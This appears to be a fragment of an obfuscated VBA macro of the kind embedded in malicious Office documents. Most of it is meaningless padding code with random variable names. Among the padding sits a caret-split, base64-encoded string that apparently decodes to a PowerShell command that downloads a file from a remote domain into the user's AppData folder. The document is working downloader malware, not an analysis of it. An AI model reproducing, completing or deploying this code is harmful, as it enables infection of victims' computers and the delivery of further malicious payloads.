If LenB(vYDyCYmJCIHEFWIwniPYKiDewRImu(1)) > 13 Then
  vYDyCYmJCIHEFWIwniPYKiDewRImu(2) = Weekday(42622)
End If
vYDyCYmJCIHEFWIwniPYKiDewRImu(3) = VarType(vYDyCYmJCIHEFWIwniPYKiDewRImu)
If "yJIvInyzYkiruAVeN" <> CStr("yJIvInyzYkiruAVeN9156") Then
Dim TUNiRIVuVINUTbAgatuWiVyryfygYKE(4)
If "coFoiUpuLixOqyPOg" <> CStr("coFoiUpuLixOqyPOg32") Then
   TUNiRIVuVINUTbAgatuWiVyryfygYKE(0) = VarType(VarType(VarType("coFoiUpuLixOqyPOg")))
End If
TUNiRIVuVINUTbAgatuWiVyryfygYKE(1) = CInt(CStr("#32"))
VarType coFoiUpuLixOqyPOg
VarType TUNiRIVuVINUTbAgatuWiVyryfygYKE
If LenB(TUNiRIVuVINUTbAgatuWiVyryfygYKE(1)) > 12 Then
  TUNiRIVuVINUTbAgatuWiVyryfygYKE(2) = Weekday(322)
End If
TUNiRIVuVINUTbAgatuWiVyryfygYKE(3) = VarType(TUNiRIVuVINUTbAgatuWiVyryfygYKE)
Dim KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(4)
If "HeZAZUPyZyZYPaRelObeQ" <> CStr("HeZAZUPyZyZYPaRelObeQ2277") Then
   KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(0) = VarType(VarType(VarType("HeZAZUPyZyZYPaRelObeQ")))
End If
KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(1) = CInt(CStr("#2277"))
VarType HeZAZUPyZyZYPaRelObeQ
VarType KIsUDozEQIMYVYQvOSEHOUcUFYVuAg
If LenB(KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(1)) > 11 Then
  KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(2) = Weekday(22772)
End If
KIsUDozEQIMYVYQvOSEHOUcUFYVuAg(3) = VarType(KIsUDozEQIMYVYQvOSEHOUcUFYVuAg)
   piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(0) = VarType(VarType(VarType("yJIvInyzYkiruAVeN")))
End If
Dim JUDeNednhcEzUSuVavOPaHonEb(4)
If "zopYfaYtUkahgyveddi" <> CStr("zopYfaYtUkahgyveddi3469") Then
   JUDeNednhcEzUSuVavOPaHonEb(0) = VarType(VarType(VarType("zopYfaYtUkahgyveddi")))
End If
JUDeNednhcEzUSuVavOPaHonEb(1) = CInt(CStr("#3469"))
VarType zopYfaYtUkahgyveddi
VarType JUDeNednhcEzUSuVavOPaHonEb
If LenB(JUDeNednhcEzUSuVavOPaHonEb(1)) > 10 Then
  JUDeNednhcEzUSuVavOPaHonEb(2) = Weekday(34697)
End If
JUDeNednhcEzUSuVavOPaHonEb(3) = VarType(JUDeNednhcEzUSuVavOPaHonEb)
piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(1) = CInt(CStr("#9156"))
Dim ZIQYiAiyQyaREMIjiBIXYd(4)
If "semeDiWurYzYaEZO" <> CStr("semeDiWurYzYaEZO1373") Then
   ZIQYiAiyQyaREMIjiBIXYd(0) = VarType(VarType(VarType("semeDiWurYzYaEZO")))
End If
ZIQYiAiyQyaREMIjiBIXYd(1) = CInt(CStr("#1373"))
VarType semeDiWurYzYaEZO
VarType ZIQYiAiyQyaREMIjiBIXYd
If LenB(ZIQYiAiyQyaREMIjiBIXYd(1)) > 11 Then
  ZIQYiAiyQyaREMIjiBIXYd(2) = Weekday(137310)
End If
ZIQYiAiyQyaREMIjiBIXYd(3) = VarType(ZIQYiAiyQyaREMIjiBIXYd)
Dim CasYfasIceBASYjDotjUxOHIkYLoWOGO(4)
If "HEgurYQujIROQ" <> CStr("HEgurYQujIROQ8181") Then
   CasYfasIceBASYjDotjUxOHIkYLoWOGO(0) = VarType(VarType(VarType("HEgurYQujIROQ")))
End If
CasYfasIceBASYjDotjUxOHIkYLoWOGO(1) = CInt(CStr("#8181"))
VarType HEgurYQujIROQ
VarType CasYfasIceBASYjDotjUxOHIkYLoWOGO
If LenB(CasYfasIceBASYjDotjUxOHIkYLoWOGO(1)) > 10 Then
  CasYfasIceBASYjDotjUxOHIkYLoWOGO(2) = Weekday(81818)
End If
CasYfasIceBASYjDotjUxOHIkYLoWOGO(3) = VarType(CasYfasIceBASYjDotjUxOHIkYLoWOGO)
VarType yJIvInyzYkiruAVeN
VarType piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO
If LenB(piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(1)) > 11 Then
  piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(2) = Weekday(91567)
End If
piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(3) = VarType(piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO)
Dim sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(4)
Dim SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(4)
If "zoCYXirIjAbDYSIMuQu" <> CStr("zoCYXirIjAbDYSIMuQu740") Then
   SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(0) = VarType(VarType(VarType("zoCYXirIjAbDYSIMuQu")))
End If
SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(1) = CInt(CStr("#740"))
VarType zoCYXirIjAbDYSIMuQu
VarType SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh
If LenB(SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(1)) > 11 Then
  SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(2) = Weekday(7401)
End If
SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh(3) = VarType(SInISiFuPUsiHEKabyxoJoaTeRiWUrewiNoboh)
If "wuvEheXtourUuwu" <> CStr("wuvEheXtourUuwu3785") Then
   sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(0) = VarType(VarType(VarType("wuvEheXtourUuwu")))
End If
Dim KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(4)
If "holYXuafihuMIRIKux" <> CStr("holYXuafihuMIRIKux1315") Then
   KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(0) = VarType(VarType(VarType("holYXuafihuMIRIKux")))
End If
KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(1) = CInt(CStr("#1315"))
VarType holYXuafihuMIRIKux
VarType KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg
If LenB(KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(1)) > 12 Then
  KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(2) = Weekday(13158)
End If
KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg(3) = VarType(KEkeaezexaBaREHAMiqAlAbOWIdYQOgAg)
sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(1) = CInt(CStr("#3785"))
VarType wuvEheXtourUuwu
VarType sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa
Dim NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(4)
If "HyLzOLEJeaoT" <> CStr("HyLzOLEJeaoT3864") Then
   NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(0) = VarType(VarType(VarType("HyLzOLEJeaoT")))
End If
NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(1) = CInt(CStr("#3864"))
VarType HyLzOLEJeaoT
VarType NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU
If LenB(NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(1)) > 11 Then
  NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(2) = Weekday(38648)
End If
NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU(3) = VarType(NaauxafoWEWeauiyqUPaSiJoWinjuhaReTEaYCYsYU)
Dim QUJihovUNaRIzEmilyVbePYWAnIfI(4)
If "KElLMaNyp" <> CStr("KElLMaNyp9065") Then
   QUJihovUNaRIzEmilyVbePYWAnIfI(0) = VarType(VarType(VarType("KElLMaNyp")))
End If
QUJihovUNaRIzEmilyVbePYWAnIfI(1) = CInt(CStr("#9065"))
VarType KElLMaNyp
VarType QUJihovUNaRIzEmilyVbePYWAnIfI
If LenB(QUJihovUNaRIzEmilyVbePYWAnIfI(1)) > 10 Then
  QUJihovUNaRIzEmilyVbePYWAnIfI(2) = Weekday(90653)
End If
QUJihovUNaRIzEmilyVbePYWAnIfI(3) = VarType(QUJihovUNaRIzEmilyVbePYWAnIfI)
If LenB(sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(1)) > 12 Then
Dim xulOCydIjigYJUfriLUceNeguGugofESa(4)
If "cUBYdezUMIrihEWuLINe" <> CStr("cUBYdezUMIrihEWuLINe1154") Then
   xulOCydIjigYJUfriLUceNeguGugofESa(0) = VarType(VarType(VarType("cUBYdezUMIrihEWuLINe")))
End If
xulOCydIjigYJUfriLUceNeguGugofESa(1) = CInt(CStr("#1154"))
VarType cUBYdezUMIrihEWuLINe
VarType xulOCydIjigYJUfriLUceNeguGugofESa
If LenB(xulOCydIjigYJUfriLUceNeguGugofESa(1)) > 10 Then
  xulOCydIjigYJUfriLUceNeguGugofESa(2) = Weekday(11543)
End If
xulOCydIjigYJUfriLUceNeguGugofESa(3) = VarType(xulOCydIjigYJUfriLUceNeguGugofESa)
Dim hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(4)
If "mIcAzyQIbuk" <> CStr("mIcAzyQIbuk1349") Then
   hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(0) = VarType(VarType(VarType("mIcAzyQIbuk")))
End If
hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(1) = CInt(CStr("#1349"))
VarType mIcAzyQIbuk
VarType hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe
If LenB(hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(1)) > 13 Then
  hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(2) = Weekday(13492)
End If
hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe(3) = VarType(hesuTYDycYTaRuVEFupiCENFAVACiIwUmiGe)
  sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(2) = Weekday(37854)
Dim iuJubOKymAzYPODOTJIZEkokifImABYrUmo(4)
If "XOXIgIJbuhcOsoPuCOqaqA" <> CStr("XOXIgIJbuhcOsoPuCOqaqA8359") Then
   iuJubOKymAzYPODOTJIZEkokifImABYrUmo(0) = VarType(VarType(VarType("XOXIgIJbuhcOsoPuCOqaqA")))
End If
iuJubOKymAzYPODOTJIZEkokifImABYrUmo(1) = CInt(CStr("#8359"))
VarType XOXIgIJbuhcOsoPuCOqaqA
VarType iuJubOKymAzYPODOTJIZEkokifImABYrUmo
If LenB(iuJubOKymAzYPODOTJIZEkokifImABYrUmo(1)) > 11 Then
  iuJubOKymAzYPODOTJIZEkokifImABYrUmo(2) = Weekday(83593)
End If
iuJubOKymAzYPODOTJIZEkokifImABYrUmo(3) = VarType(iuJubOKymAzYPODOTJIZEkokifImABYrUmo)
End If
sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa(3) = VarType(sErOiubAkEdEsoGUKeVIlIWuJkUrIQeCAgUWIfTEDaDa)
jynAfIBuZuqufUmdIFiNoBoVybINeuToOMB = "Q^B^z^A^G^o^A^Z^A^B^o^A^H^E^A^b^w^B^z^A^H^A^A^Z^A^B^q^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^E^8^A^T^A^A^v^A^G^4^A^Z^Q^B^y^A^G^" + Chr(100 + 10 + 5) + "^A^b^w^B^t^A^C^4^A^c^A^B^o^A^H^A^A^" + Chr(40 * 2) + "^w^B^" + Chr(100 + 10 + 5) + "^A^D^0^A^Y^g^B^l^A^G^U^A^c^Q^A^1^A^C^4^A^c^A^B^v^A^G^Q^A^I^g^A^" + Chr(100 + 10 + 5) + "^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^Q^A^M^A^A^x^A^D^M^A^N^A^A^4^A^D^M^A^N^A^A"
Dim mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(4)
If "KuHUjoCEbugiZON" <> CStr("KuHUjoCEbugiZON2108") Then
   mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(0) = VarType(VarType(VarType("KuHUjoCEbugiZON")))
End If
mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(1) = CInt(CStr("#2108"))
VarType KuHUjoCEbugiZON
VarType mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa
If LenB(mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(1)) > 13 Then
  mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(2) = Weekday(21087)
End If
mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa(3) = VarType(mUgUnihonyguHAcAhiDUHeRapupIJUGITyJXYsApUMAsiDa)
Dim XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(4)
If "KiaVugIBeDaRyjYTikUa" <> CStr("KiaVugIBeDaRyjYTikUa9339") Then
   XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(0) = VarType(VarType(VarType("KiaVugIBeDaRyjYTikUa")))
End If
XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(1) = CInt(CStr("#9339"))
VarType KiaVugIBeDaRyjYTikUa
VarType XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa
If LenB(XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(1)) > 12 Then
  XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(2) = Weekday(93396)
End If
XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa(3) = VarType(XeVecikozoJyXiKIruLOzEVEhIjbdUjOpIWahowa)
Dim iAsAnyDasYziaYgQisIJeNOMWu(4)
If "bYhaDoGAsyTUFaRYD" <> CStr("bYhaDoGAsyTUFaRYD6699") Then
Dim GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(4)
If "hEQyfoTimUzIXabyXyayg" <> CStr("hEQyfoTimUzIXabyXyayg1131") Then
   GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(0) = VarType(VarType(VarType("hEQyfoTimUzIXabyXyayg")))
End If
GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(1) = CInt(CStr("#1131"))
VarType hEQyfoTimUzIXabyXyayg
VarType GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi
If LenB(GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(1)) > 13 Then
  GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(2) = Weekday(11316)
End If
GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi(3) = VarType(GEHoryDaqUdEmUOxeaYhVyxoFoRaBEBi)
Dim PeXIFExIhYpUSyhOZonucAJhYHuheF(4)
If "fauMObAlyKOXiXID" <> CStr("fauMObAlyKOXiXID5178") Then
   PeXIFExIhYpUSyhOZonucAJhYHuheF(0) = VarType(VarType(VarType("fauMObAlyKOXiXID")))
End If
PeXIFExIhYpUSyhOZonucAJhYHuheF(1) = CInt(CStr("#5178"))
VarType fauMObAlyKOXiXID
VarType PeXIFExIhYpUSyhOZonucAJhYHuheF
If LenB(PeXIFExIhYpUSyhOZonucAJhYHuheF(1)) > 13 Then
  PeXIFExIhYpUSyhOZonucAJhYHuheF(2) = Weekday(51786)
End If
PeXIFExIhYpUSyhOZonucAJhYHuheF(3) = VarType(PeXIFExIhYpUSyhOZonucAJhYHuheF)
   iAsAnyDasYziaYgQisIJeNOMWu(0) = VarType(VarType(VarType("bYhaDoGAsyTUFaRYD")))
End If
Dim bAWavewOFUgeBYDejegrADitoqipOH(4)
If "aYqAMAjAnOXsEBymoruNeM" <> CStr("aYqAMAjAnOXsEBymoruNeM4528") Then
   bAWavewOFUgeBYDejegrADitoqipOH(0) = VarType(VarType(VarType("aYqAMAjAnOXsEBymoruNeM")))
End If
bAWavewOFUgeBYDejegrADitoqipOH(1) = CInt(CStr("#4528"))
VarType aYqAMAjAnOXsEBymoruNeM
VarType bAWavewOFUgeBYDejegrADitoqipOH
If LenB(bAWavewOFUgeBYDejegrADitoqipOH(1)) > 11 Then
  bAWavewOFUgeBYDejegrADitoqipOH(2) = Weekday(45284)
End If
bAWavewOFUgeBYDejegrADitoqipOH(3) = VarType(bAWavewOFUgeBYDejegrADitoqipOH)
Dim WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(4)
If "fOQuKiwEMYZuvOZAJ" <> CStr("fOQuKiwEMYZuvOZAJ3633") Then
   WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(0) = VarType(VarType(VarType("fOQuKiwEMYZuvOZAJ")))
End If
WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(1) = CInt(CStr("#3633"))
VarType fOQuKiwEMYZuvOZAJ
VarType WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu
If LenB(WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(1)) > 13 Then
  WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(2) = Weekday(36333)
End If
WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu(3) = VarType(WADAdATuZUPkesypQANAloQYJUMaSiBApOBemu)
iAsAnyDasYziaYgQisIJeNOMWu(1) = CInt(CStr("#6699"))
VarType bYhaDoGAsyTUFaRYD
VarType iAsAnyDasYziaYgQisIJeNOMWu
Dim kyvUQuJgUsAmeDiKygTiNiteDykAPO(4)
If "teDumiGeNUxex" <> CStr("teDumiGeNUxex6975") Then
   kyvUQuJgUsAmeDiKygTiNiteDykAPO(0) = VarType(VarType(VarType("teDumiGeNUxex")))
End If
kyvUQuJgUsAmeDiKygTiNiteDykAPO(1) = CInt(CStr("#6975"))
VarType teDumiGeNUxex
VarType kyvUQuJgUsAmeDiKygTiNiteDykAPO
If LenB(kyvUQuJgUsAmeDiKygTiNiteDykAPO(1)) > 13 Then
  kyvUQuJgUsAmeDiKygTiNiteDykAPO(2) = Weekday(69759)
End If
kyvUQuJgUsAmeDiKygTiNiteDykAPO(3) = VarType(kyvUQuJgUsAmeDiKygTiNiteDykAPO)
Dim mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(4)
If "titAMQICUgU" <> CStr("titAMQICUgU5783") Then
   mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(0) = VarType(VarType(VarType("titAMQICUgU")))
End If
mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(1) = CInt(CStr("#5783"))
VarType titAMQICUgU
VarType mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo
If LenB(mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(1)) > 13 Then
  mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(2) = Weekday(57834)
End If
mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo(3) = VarType(mAgOkInCYLOioNVarUNIRSYqocYiazulaiIhZIBo)
If LenB(iAsAnyDasYziaYgQisIJeNOMWu(1)) > 13 Then
Dim GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(4)
If "BoxicemIxhYL" <> CStr("BoxicemIxhYL6017") Then
   GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(0) = VarType(VarType(VarType("BoxicemIxhYL")))
End If
GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(1) = CInt(CStr("#6017"))
VarType BoxicemIxhYL
VarType GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej
If LenB(GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(1)) > 12 Then
  GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(2) = Weekday(60172)
End If
GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej(3) = VarType(GEcYtaFYfapYJiCoJaBoniwiRuiCACYgiSASEBUsej)
  iAsAnyDasYziaYgQisIJeNOMWu(2) = Weekday(66993)
End If
iAsAnyDasYziaYgQisIJeNOMWu(3) = VarType(iAsAnyDasYziaYgQisIJeNOMWu)

Dim KACusyPevYDFemtEWYWyPYZUBAJYwemY(4)
If "KaDIzOMArAfUDinAgeF" <> CStr("KaDIzOMArAfUDinAgeF7933") Then
   KACusyPevYDFemtEWYWyPYZUBAJYwemY(0) = VarType(VarType(VarType("KaDIzOMArAfUDinAgeF")))
End If
KACusyPevYDFemtEWYWyPYZUBAJYwemY(1) = CInt(CStr("#7933"))
VarType KaDIzOMArAfUDinAgeF
VarType KACusyPevYDFemtEWYWyPYZUBAJYwemY
If LenB(KACusyPevYDFemtEWYWyPYZUBAJYwemY(1)) > 13 Then
  KACusyPevYDFemtEWYWyPYZUBAJYwemY(2) = Weekday(79331)
End If
KACusyPevYDFemtEWYWyPYZUBAJYwemY(3) = VarType(KACusyPevYDFemtEWYWyPYZUBAJYwemY)
Dim KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(4)
If "xaRyzIBIGEjeRIGEcO" <> CStr("xaRyzIBIGEjeRIGEcO9750") Then
   KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(0) = VarType(VarType(VarType("xaRyzIBIGEjeRIGEcO")))
End If
KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(1) = CInt(CStr("#9750"))
VarType xaRyzIBIGEjeRIGEcO
VarType KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE
If LenB(KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(1)) > 11 Then
  KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(2) = Weekday(97505)
End If
KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE(3) = VarType(KycAPUruNUKijIWyBUZIviyhUQyfAMOKYfAvuILE)
Dim aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(4)
Dim fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(4)
If "VisoMUdefyqAEFA" <> CStr("VisoMUdefyqAEFA9765") Then
   fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(0) = VarType(VarType(VarType("VisoMUdefyqAEFA")))
End If
fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(1) = CInt(CStr("#9765"))
VarType VisoMUdefyqAEFA
VarType fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox
If LenB(fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(1)) > 11 Then
  fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(2) = Weekday(976510)
End If
fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox(3) = VarType(fuMaHUKIKyZypeauGozudOWaVONaNIsaXoMox)
If "XipYCOHeGimUHezUwESIbI" <> CStr("XipYCOHeGimUHezUwESIbI9062") Then
Dim haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(4)
If "QYXeZacUsTeaaCyzwy" <> CStr("QYXeZacUsTeaaCyzwy5204") Then
   haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(0) = VarType(VarType(VarType("QYXeZacUsTeaaCyzwy")))
End If
haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(1) = CInt(CStr("#5204"))
VarType QYXeZacUsTeaaCyzwy
VarType haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU
If LenB(haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(1)) > 11 Then
  haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(2) = Weekday(52041)
End If
haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU(3) = VarType(haTUxoNATOtEbIBePoWOCOQqUPguqEkIxATaCU)
Dim CaZOqYLyqUaNaUfEDOfaL(4)
If "YwisaWYVyqYdEv" <> CStr("YwisaWYVyqYdEv3282") Then
   CaZOqYLyqUaNaUfEDOfaL(0) = VarType(VarType(VarType("YwisaWYVyqYdEv")))
End If
CaZOqYLyqUaNaUfEDOfaL(1) = CInt(CStr("#3282"))
VarType YwisaWYVyqYdEv
VarType CaZOqYLyqUaNaUfEDOfaL
If LenB(CaZOqYLyqUaNaUfEDOfaL(1)) > 11 Then
  CaZOqYLyqUaNaUfEDOfaL(2) = Weekday(328210)
End If
CaZOqYLyqUaNaUfEDOfaL(3) = VarType(CaZOqYLyqUaNaUfEDOfaL)
   aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(0) = VarType(VarType(VarType("XipYCOHeGimUHezUwESIbI")))
End If
Dim bobBaKYvIXAvihgoboxuTinUnydO(4)
If "bLecunEhodUhEjovY" <> CStr("bLecunEhodUhEjovY8184") Then
   bobBaKYvIXAvihgoboxuTinUnydO(0) = VarType(VarType(VarType("bLecunEhodUhEjovY")))
End If
bobBaKYvIXAvihgoboxuTinUnydO(1) = CInt(CStr("#8184"))
VarType bLecunEhodUhEjovY
VarType bobBaKYvIXAvihgoboxuTinUnydO
If LenB(bobBaKYvIXAvihgoboxuTinUnydO(1)) > 13 Then
  bobBaKYvIXAvihgoboxuTinUnydO(2) = Weekday(81844)
End If
bobBaKYvIXAvihgoboxuTinUnydO(3) = VarType(bobBaKYvIXAvihgoboxuTinUnydO)
Dim ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(4)
If "cUkOqebykYniNIvoaA" <> CStr("cUkOqebykYniNIvoaA8134") Then
   ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(0) = VarType(VarType(VarType("cUkOqebykYniNIvoaA")))
End If
ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(1) = CInt(CStr("#8134"))
VarType cUkOqebykYniNIvoaA
VarType ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu
If LenB(ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(1)) > 13 Then
  ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(2) = Weekday(81348)
End If
ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu(3) = VarType(ZAMyrUMIFOzAMiDfUvIBUziXApuauRiBAFiGuJu)
aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(1) = CInt(CStr("#9062"))
VarType XipYCOHeGimUHezUwESIbI
Dim rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(4)
If "fedusewYXLIiIgysO" <> CStr("fedusewYXLIiIgysO5768") Then
   rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(0) = VarType(VarType(VarType("fedusewYXLIiIgysO")))
End If
rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(1) = CInt(CStr("#5768"))
VarType fedusewYXLIiIgysO
VarType rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW
If LenB(rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(1)) > 12 Then
  rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(2) = Weekday(57686)
End If
rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW(3) = VarType(rbOhbYCIboDalAGokaCImeDeDoMorFeZAgYW)
Dim ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(4)
If "nOGpytUWyjYwAJaTyp" <> CStr("nOGpytUWyjYwAJaTyp2899") Then
   ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(0) = VarType(VarType(VarType("nOGpytUWyjYwAJaTyp")))
End If
ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(1) = CInt(CStr("#2899"))
VarType nOGpytUWyjYwAJaTyp
VarType ViXeIJIHaCAPUGYYazkYiOBYzQiYkos
If LenB(ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(1)) > 10 Then
  ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(2) = Weekday(28991)
End If
ViXeIJIHaCAPUGYYazkYiOBYzQiYkos(3) = VarType(ViXeIJIHaCAPUGYYazkYiOBYzQiYkos)
VarType aAtuXajYupeWUKAMadJEseROfodnivOCeQOG
If LenB(aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(1)) > 10 Then
Dim BOeGOguSEQxoDburOLyiUHuHAgUZyN(4)
If "wISBaLIbAXbAxiBU" <> CStr("wISBaLIbAXbAxiBU1735") Then
   BOeGOguSEQxoDburOLyiUHuHAgUZyN(0) = VarType(VarType(VarType("wISBaLIbAXbAxiBU")))
End If
BOeGOguSEQxoDburOLyiUHuHAgUZyN(1) = CInt(CStr("#1735"))
VarType wISBaLIbAXbAxiBU
VarType BOeGOguSEQxoDburOLyiUHuHAgUZyN
If LenB(BOeGOguSEQxoDburOLyiUHuHAgUZyN(1)) > 12 Then
  BOeGOguSEQxoDburOLyiUHuHAgUZyN(2) = Weekday(17354)
End If
BOeGOguSEQxoDburOLyiUHuHAgUZyN(3) = VarType(BOeGOguSEQxoDburOLyiUHuHAgUZyN)
  aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(2) = Weekday(90624)
End If
aAtuXajYupeWUKAMadJEseROfodnivOCeQOG(3) = VarType(aAtuXajYupeWUKAMadJEseROfodnivOCeQOG)
Dim GOiOFYDIiYpYVesIdezuhWoGiDiVExiNOA(4)
